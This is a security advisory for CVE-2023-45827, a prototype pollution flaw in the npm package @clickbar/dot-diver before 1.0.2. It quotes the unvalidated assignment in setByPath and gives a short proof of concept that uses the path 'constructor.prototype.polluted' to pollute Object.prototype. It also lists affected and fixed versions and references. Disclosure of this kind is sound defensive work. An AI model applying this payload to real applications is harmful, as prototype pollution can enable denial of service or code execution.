CVE-2023-45827
Prototype Pollution(PP) vulnerability in setByPath
Impact
### Summary There is a Prototype Pollution(PP) vulnerability in dot-diver. It can leads to RCE. ### Details ```javascript //https://github.com/clickbar/dot-diver/tree/main/src/index.ts:277 // eslint-disable-next-line @typescript-eslint/no-unsafe-member-access objectToSet[lastKey] = value ``` In this code, there is no validation for Prototpye Pollution. ### PoC ```javascript import { getByPath, setByPath } from '@clickbar/dot-diver' console.log({}.polluted); // undefined setByPath({},'constructor.prototype.polluted', 'foo'); console.log({}.polluted); // foo ``` ### Impact It is Prototype Pollution(PP) and it can leads to Dos, RCE, etc. ### Credits Team : NodeBoB 최지혁 ( Jihyeok Choi ) 이동하 ( Lee Dong Ha of ZeroPointer Lab ) 강성현 ( kang seonghyeun ) 박성진 ( sungjin park ) 김찬호 ( Chanho Kim ) 이수영 ( Lee Su Young ) 김민욱 ( MinUk Kim )
Affected packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | @clickbar/dot-diver | < 1.0.2 | 1.0.2 |
Affected products
| Vendor | Product | Affected versions |
|---|---|---|
| Clickbar | Dot-Diver | before 1.0.2 |
Weakness classification
References
- NVD record
- CVE.org record
- GitHub advisory
- https://github.com/clickbar/dot-diver/commit/98daf567390d816fd378ec998eefe2e97f293d5a
- https://github.com/clickbar/dot-diver/security/advisories/GHSA-9w5f-mw3p-pj47
- https://github.com/advisories/GHSA-9w5f-mw3p-pj47
- https://github.com/clickbar/dot-diver/commit/9790834cf4c2bca75db00e588e58056dacaf602f
- https://nvd.nist.gov/vuln/detail/CVE-2023-45827